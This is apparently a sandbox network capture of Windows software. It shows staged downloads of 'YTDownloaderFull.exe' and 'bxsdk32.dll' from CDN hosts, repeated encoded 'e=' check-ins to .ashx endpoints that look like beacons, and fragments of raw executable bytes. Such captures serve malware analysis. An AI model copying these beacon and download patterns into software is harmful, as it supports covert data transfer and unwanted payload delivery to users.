...i._ }..P.|.R..B.....~.e.F8j@..:....gB..a......f....Y.._.Os.....W@S.
8...~5..I...)\\.......EGH*.(K...4p..C.n..E...hXw...Z#....n.....Q..Q6._
v....^.Pa.3..R.3.~..q..85.V......B.....nB.@.........&....C...&...k.8-K
-.Ki.3.).v....S...g....ul.dE..D.k>.....2...Y.."&...AYo<...y.....
...WR.W.q..2.?U>......0..B-.. p`K.{W.e.*..M.;..*$.v.....,......[...
o.%....o.3....-....A...Y..6...(....a..9p.(....@..&.....DL$...,iJ. ....
..P.03.tW....w.4f|..*..6y.Z..=Z/.s.Z,.*Ok...2.rd>#.Y..5....y..y..wF
.......u../jA.U..e.q.../........s(.M..v..../..:.}VJ(....g.\...e.:.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:11 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4750000-4999999/7202427
...I...V......|....... [email protected].!.....ZZ....
.......5km.)mS....v.p....nR[.-..K9.b.\X.I.S.HU..G.D.0..|...&..5#V..i.A
..K.*.a.`/....q....x......(p.....2.7..#..(..(....yp.DL.W....$O.^..g...
...4Ib....3.a..@...._..)..oq.4.Y........ E4s.....E......yII.Dy...,....
,..fkz.O [.^v.....AJ5.x.I....K.u.M...v...op.r/..B:...)E|m..~.3.)8.....
.i..|.<..N....G1=.X5.B.f.`IU]W0.;..I0....~.].k.u..v...^...u......N.
.......Q..j..A.'.^.....ZP........-Z...CHf.evg...9A. ..c..0..>...y..
..e.R8D.......^3= .S.j..SpM....m...]u..[e....|R.Ba.......Oj.*ld.C..psE
........%6.|.R.D.9........ 93..7..a.../....V..F.3Y..]....C.....x[.....
DW`.J.[$...3....x....(..:.N.....@..*d.i..?.PV.....o.!.!.`H....._b...3.
...O.6-..%[email protected] ..u!4.H.;......Q..i).k"....5..
...w.%......w.UQ....... ).......^..(8N.3..d............!RV..q...`0..2.
.].>.l.....W..jE6m.0...:'/T...B.Ah..C%~...8..%V?.6.C.O.`.........&c
b]..X.i$>...V'...I.qn.h..O.*....*."..K[........'..J..P.8X,t.h<k.
..'....N#.....M..*....3.L. 'q..Va.Nb..U.h.U....l...../F..(.K....C.....
.v.e.......b....5@......\q<.?D..d. .. I..?..0.21..}{...i..&...g..Kj
.........L./.F{FE...V../.nK.|......D....CT..u7....!....#...i..Sh(.J.&l
t;..!.K.zW.....:...w.w.U.)C...C..h..0:..{_.../[email protected]
.LT.1.:Y01...}..Q....F.n.~<..O....A...)m.K=w#-n..[.Q..D...xu<y.o
..i..q...J,...&rsA..G....Z.a}@..F5|..dZ...4.x.KW.my.../..QeB....,.L.s!
.....%S.....X..n.8`'j.....E.g.|...[HR....T.2..... <9...N...........
.zK.h".`FX..4%.b.!HcP4.]....2.{y.0.<..hu.`..{.E.Q.r.....'..{...
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5250000-5499999/7202427
."[.T....).3h.....Ij:D.\..O%.N..$r......!.w..*VT.^F..lh.e.v,iI....A.g^
X..j..I.....S.EGL.........0sW\b....sP5......)...[....p.3}.a.H.L.Y!Z.b.
]y....]..E.x...nw.]."... ......kv..L....hh.%.Z1,J.TF.u...p..b..Q.[n<
;.:...0.....7:d.a.TLa1.a....?.D ..%........8^.L...._..k....p"._VX....T
..I.p..x.k...wk.....K})X.1....Y....M|.......1..%.|V..\......."o....(.H
n..F./5#.....[PqYG....[ .`E.hu...v.......O.....d.#.s....(....j...... =
..Q(..p..Kl.{.....X.....59../h....s.*.1.g..zL.N.j.K....P.;...&..z....%
......#.Ok..`..Gy<^%$.....m..y.......t.]`(.y...r.@.),.....H$...*D..
p...fmC..t.|W..c....&.#eW....L<.9.cK.#dx..}.x_...lmQ.0....Ww...... 
...7.........kI...p.w.j..m...~L....o.\.....\<w.....\. ..".<..E.I
..)w.....=..k.3R...hQJ.c.....'X.i..^....h......D.KT../i....o....9./..7
...dt...^.9....6..X.&...s..(.p..._...\..tv.d.......>9B`..%...j.e.."
]..c..Y....cYO..e.Dl!G.!9.~.b..4..qb=.TJ.Y... ..5.w.no....bC}.D..R...?
.;.|...J.9.....r..}.h..JO_...v.........E.{...{.O..q...U.h....^.E.z....
..A\U ..A ......F...c...\o.cB.....d8_ ..\..Gw.a...W..].......} Y.....G
....J.....S..R..........XL.3.y..v...G........).j...Q...pb..B..}IP..'.~
.p."......Q.n......F..e....Cc["...[.ve....G..t...N....q.SA{.N$.^.._..d
...[....#.B...U{..G1...p.=.......H...1..... .N....k.b..H.5.....Y..D...
)@.z.L..w=3....oU..H......(.%..o?.n\>.....Ee......%.^..2\.&p.......
.F..=._.B....aL.....FH....;.....Fh......?%WFF.'..6..y..... f...Y...o..
...8.A.hLR... .....^.X..D..k..@&..v.....,=..k....p..7C.....5.y.E..W...
v.&..me......u..g.G.....P..7....-..@T$.6.I.........-Bv.$..3X.Z..e.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5750000-5999999/7202427
..4@..%...KB..\EH.... \.....CBe.;..dB.t.....?.Y}N....@siQ.../.7F....|A
..AWp..h.N{..m..X..j.....\[email protected]*.c......zZ.A*5...)[email protected]
5. 2.X..ez.....i ....r...I.3.../x.x7.U.|/.DtW.....!.r.W..5..E<....9
..Y.a.P.....p...5..<Bh......d....^.....`...=2.c.T..~p"-...|.7..2.&g
t;c>...$o...r9NkQ..H.0Q`?...w..c1....B.........e...9....:.E.oU~\E..
>.5s.~g.Ev$.s....3..3 l..K.^..S..2....f.......q..GP.,b....**T.X...{
..wj...u...5...~...q*1[.&.zKAc.Gsh,.. ./...>.."..L.k..*..".a.OT.g..
..A?..7Aof..8L.(...b]AV..g...p*[email protected]|.....>.u.M!.`...5...
@. ^..n.N:x^./~.ej.k.Kh [email protected]|...EG...&Xp.{.i$.18b%@z.n9's...
m...b.).f$.....t.....'...".D..x-.a...Q...............^....9.:.Hj..OhD.
~{.......W,...I........-.k..4....ry......6.y!.(.Cm.R .......m.....7".!
.:.W...p....X5.B...X.0H0........&..n.R....k.0.:H|.......x`@Y.....O.-f.
.......'.Q6......R).;...m&....F...H..o...4..0..[.eJ.:5.$..Z.)...w?....
<..^*A.........h.-o...[BS. ...pj...^.s.....r.B...3}.H..1...\A......
wQ[?.^<....S:...Q....4y.).Ue..^..a.T!..>e.V.0..v.(5Zn..=l...sV.b
.,.w....e.?NZ(.Lh......>P.0SA).s..Y..Dq/.)[email protected]..
...\..\;a..%. .sd...N....&..R3..=.`va\..U...[!3....Cm.m........6.5.0.\
..Z....T%....3....N.@.:..........P.3.9M.(...r};..-~.r..........}x.f<
;..VWw...8...`g.".6..V.....t......>......O.`z(.:IEh..p.....h=..*ot.
..;............A.....O.. Z.......W.V.*g...XO..6.$.-.b.c...zp.....N....
..<Y....[..}.....?.;H!t....'L/J?6[u....,...7...u.S...[.CT.c*/..@-"_
....3].A.....3.Q....>......"Z..o."..}.?.E=..' ...?,.=[T=.1Goeq.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6250000-6499999/7202427
..P..s..).K.".'....K.......|........=^WqSe{ [a...4K'.p...M...>Lz...
.t......0.\.v.(M.C}d.UtN.....m......U...QY..i..~....O$.....#...>..n
[email protected]......".$....Z!...`d1vwm.._.EO\)2.M<..2r
.....Z...;.?.....MI...0....F$|ITTR.f~-!..X......z?.6..)..x.e.Y....L.$.
.AY....$5.L......$.....1.)..9.6A..'TGq....d(M..[.4.........*T...h.ME`.
8.|......c...~..A.-/ 4.....j......>r..F8.<.X. .c.6...~.E IW...N.
.".f.....0.... ,k......"....=X...........J., k....h......\..h.........
y[.:.2...7..y..hBc..w...8..8..........6.>si......{.9 r.....tz. ....
._.....1..[.N...c^..[..l.<.Qt.....K...H..Q.Vl~.Z.....D..\c.....|.:]
<.0.WIu9(.....7Tn"...r. Y.$...H.#.Jz..!Q.*..l....GJ...H.Y.L1..vx.8.
....7%.-b...7|.........:.x...x.n......$.?....Y.B.....%...Kz\.t^.....q(
090.NQm`....d..hU..5...:K.......|.1...!....D...i.......y.......c.z....
..Z\..........r.<.R1.o ...\..........E :K.7a..i..a......n5.$2..8E.n
....o..9....Q2........PJ....VB.&(.....Dx...{K.b.-..19..R.2l.. .kA.4v..
#...x.>..3...~o?.....-..m..... c......>.|.E..8......2..*Au4....x
./r.H;.?..)..g.#.m..{s!.....Pes.B... ..|s..p._.~V.[....p,..^3uj..vWI.'
..AgS.D..Ru:....d...unW-..sD\.bO.7....h#!y...ux...?...........P....y..
7....<...?..i5.<.e.{.vp..5..s\p....F..:.\[email protected].#@"r....]
NH.."?.._.k..K.h%..(`...$G.d].?..?..5je..'.R....F$....l....{.^.=..L.U.
..V..[..N....:h.-O3r....("G.<.7A..\.Z&}...?2.....0.N`..;~.C.r.J....
..,....I.r..6k.*..>eC..o..:.\.t.c.e......L........%.I etG..}^]v....
.a...a.#Z.7..-<.BD.H.G..  .`.......0.y....z...^p..j.!.....[...b
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6750000-6999999/7202427
O*.0...8...V..c ,....b.%...0...^..W.H^..E$.......$......d..5.G..S.fz..
.Q...v,...f.%.......... C........@x/.r..4..-...._A(.Z......d...Y...'.P
.7=.{.]d";..K....-.G1...x..:.?eS.)......3.e....fn.../...)...?...PTD...
u..A;.UrQ..# .=&...U"[....#2 .%O.t-.mo.P8..A.._1..k.U..%8.W$....{.....
.F...0W.k.B........U...W_..Y.j.'.x.q..fQU&b..<:.rAW1|.....ey,.L0.Ou
[email protected].}.............X....'[email protected].&..2.]9.....v.A-..X.
.~).....]J..<t]0I3.< ......5.^b.b.E.Q..m.... .....C.XN....T.S...
......(..K.........D..4...SH..W.E..l.A9.a.Jq4L...~.J.[.."V!.....].LB.#
..j.~....Wq.$v..>[email protected] .%D.....)..t=.e.O.R ..,.,....DQ.$...`..
B-ua..I..&..[.lE7...-....?*.......&x!.(S.WZH....EQ.'.Y...e.vh..U<I.
.I.....P.q].B..q....*z=!m./.([.......M.V......%.....A......i.^...8....
..xX..v........b...D,q\..............y..0......'...."mh.[8w.Z6MT.8....
..z.....jWT.......NR..V.......z..8.i0..e....!M...6...S...P :d.&W.jlZ..
....F.'L1..H-....qP.....l....J.....k.'..@DA.:5...y.$..(.~t.I...E......
u..m........[....d...07|......[...#......V|...z...0U....A..2..NH.e....
'[email protected]...%....s....t.....(.{.8..8....r.8<
;.@.....`...yF..qw.6.......#....O[L`.......$D..................){=h'.Z
.U.q.r.}...Pfq.M....@{..=~"....fC~:n...BC.f29..QS...%g......Ne...q....
.c.99..Q?.p...........I..D.H1...@M.}.Y2...e1.H....Pil......%....3<.
0.W)..MQ.Zr.....$U......!...pr..O......YA.h.aS......=.C.V...d...A..W.f
(,.......D..gWU%r.m...,._..u.:~..m.-.2..o].....&.".-Ct...E.Fl}1. g...n
....-....a.u...~...Db.....4P......}*..M~..\.o.,..V..-eZ........_..
<<< skipped >>>


GET /5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMA04irtcDWeBfFklBXmBrJSjgb6v7cXpPvrQWbbvPSd CRRsprqbmHjBHo e/Tb1b6xkPPaX2SGs6vHa10lJ0Tq3YhY2jqfUQiCrrFHFJruuv4gmSuY4s6sh9Gyg0m2fe6bEX8xbIh3h/m8hmAnkYtHnqsMTd5yeXZ4/J0NVfZoltKTLuEb0m/GdlCJFiyqrB57C1lEf00kbs0ayKCWbhlX6D1sggdHBsh 8542Gw3m0AzmWoFdxO97A4kHFlciFoa0vyzpagc39iYeApy3zoidhXbusBDt62lfoAFDjGX4LpcCZEAFRuZJhEDlb5EunAiguPxY3sIjxUlalNSF2h61sBCEmBDvTUu51CUbXbhryEU5MDCXDxgXW/fd31FoVTOiWNGWNGtxog4HDkqE1php HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMAmyeS/0faBVTdVMo67fxO0s IILilpWF0egceCn LKWV gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFSVqU1IXaHrWwEISYEO9NS7nUJRtduGvIRTkwMJcPGBdb993fUWhVM6JY0ZY0a3GiDgcOSoTWmGk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=IwLHwtP2rDd90pTvuM4Yhr egN mgLsUIM0CqmsRfbs08bEgFRb3JLee7JGyVH1lRdb/S8YKHkPcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9jchQaB0hEWDb7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLdfeQRNwvtN83SQCeXx1TCLUISLCJlFqul4CnWC C4vHQ5iZIM1e7BHRbglB1j0/SZbnr3cm4yDPwBfwq5Zdl/l gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFSVqU1IXaHrWwEISYEO9NS7nUJRtduGvIRTkwMJcPGBdb993fUWhVM6JY0ZY0a3GiDgcOSoTWmGk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=Feo0TQZfu6J5YvL6lzggScCfeQDac2AEvMo6MfIMSUkeaFNcfNJ0Dunq2YUwWYcGp2RYIisGWDtlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDJMvyWdHNxSQQRjjVcEy0WTW/eZlYKTDPljMf o5tZn0MydwrVDP9I3b/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO73EZkAAgR/jmD45dkR0v8UWHBzcD5RH2WGmZgVxWuSt5QI4IYW7BlwKG/8 ILd4bihRW JECizii0o6CnERxfiY5ZMFGhcknP srAPq35vVlHiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDaA0a4JMrDsIg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=eISsn0A7mAbJ8pjs/lobyG7gP247 z/std2QK7ql6xD UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO1v4YTA J500te3upwN8WEnBPEhRyyBD7Cd1kqV8F3deVtwb17b7vYGxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:15 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoT0z0MUwSr51BPEhRyyBD7AmwZFp/ZKcZSSWkiD 8aIWFAbDvDttaaPPt30posPzj93QiescafgJMQkn33NAlOpViA7TIcAcSxgCqL7xsniQvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10VOSDd4/R9r/g== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoaRFHQ2Y5ZJIx7GRVckt5CYxeMtYx3lqVgTxIUcsgQ wMKgngteC6vof/JCJITKfr9iHRMVKaBRE8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWNHA9wE 3dtMawpjMrDH2/0/z9osaCZsNzOVHPJIMptbA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=iAb9K1DDBHV90pTvuM4YhroIq74oymmkIM0CqmsRfbs08bEgFRb3JLee7JGyVH1lRdb/S8YKHkPcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9jchQaB0hEWDb7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxL12EELBUZsE03SQCeXx1TCLUISLCJlFqul4CnWC C4vHQ5iZIM1e7BHRbglB1j0/StiHw52jSEec11N66AH6x9ECOCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=bomaaVKFzzJmS6nlSU/NTpriyQY/kXPI/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jOT/P10voOXfDUh 3ZGDmdW5pZis9f nTdUX3PRbKmecamyKlGqqMelN23BFW9K0wL0BqAXns3SdhAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JjlkwUaFySc/6ysA rfm9WUeI9VTThLJ3cdBa1e8eaz1monqvdjdbUE5Qq6vggdENoDRrgkysOwi HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=XJYuqQQo69eJxiP7f9a/G27gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUW3bvmqd8iSw0JQd5HxgIXcFDwwhgx9LS0COCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:16 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET /bxsdk32.dll HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dyd9qf154h76q.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 942080
Connection: keep-alive
Date: Tue, 01 Sep 2015 22:23:15 GMT
Last-Modified: Tue, 25 Nov 2014 14:05:45 GMT
ETag: "05c47da12b0009bd98653f51287f7768"
Accept-Ranges: bytes
Server: AmazonS3
Age: 2579
X-Cache: Hit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: H6wQcf6XLy0ixIPHcR246BLZt7RZaHGWOdLBw5-0nidgTDeeR4WHgw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......gu..#...#...
#.......!...........#...........I......."......."......."...Rich#.....
......................PE..L...9.dT...........!................P.......
.................................`....................................
..............................................tn..@...................
................................8............................text...O.
.......................... ..`.rdata...t..........................@..@
.data...x.... ....... [email protected].........................
......@[email protected][email protected]....................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /p.ashx?e=WL9usJOVMsOEyHZoFFyrCH3SlO 4zhiGYB99HJUp1rZp9n7WWAF0mH3wjc62A0OYpFHk1LdjXWIbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkodXvvqvVmBrbtf3EntwcIYYxg5TDUaq4io3A5eoPLkCqxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi fnW1BRx38xv1DjxUizWQcST1QHs3X92ilGOyD iaRZsJNCUHeR8YCF35CHo3qBIj7b9duE6KgDSng== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: vuHQ9XFDZJNOz33F3kJ8sNUhsVkJRipJy6OW0Y8419EiPir-4OBgkQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 02 Sep 2015 23:21:08 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f5
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: vuHQ9XFDZJNOz33F3kJ8sNUhs
VkJRipJy6OW0Y8419EiPir-4OBgkQ==......


GET /p.ashx?e=M7A8vgjJHrit /KxvF2yavQB5Q5WX8MYYDEAjQn1Lmtt1izXJZF/6q3ONc0nBd/7l5HByWpqmAJFOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaTLYAxbXqOnWZKpgXCSq4SAWz6Wms7nyLl gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFDMWtlnh6ykcF31vgH 2Mrl JfVwpv1Wv1T7Sf53reGaM2UgyJxU8HKZPrV0w8bK0Oe1siQxzufjGznAeuKs/Rw== HTTP/1.1


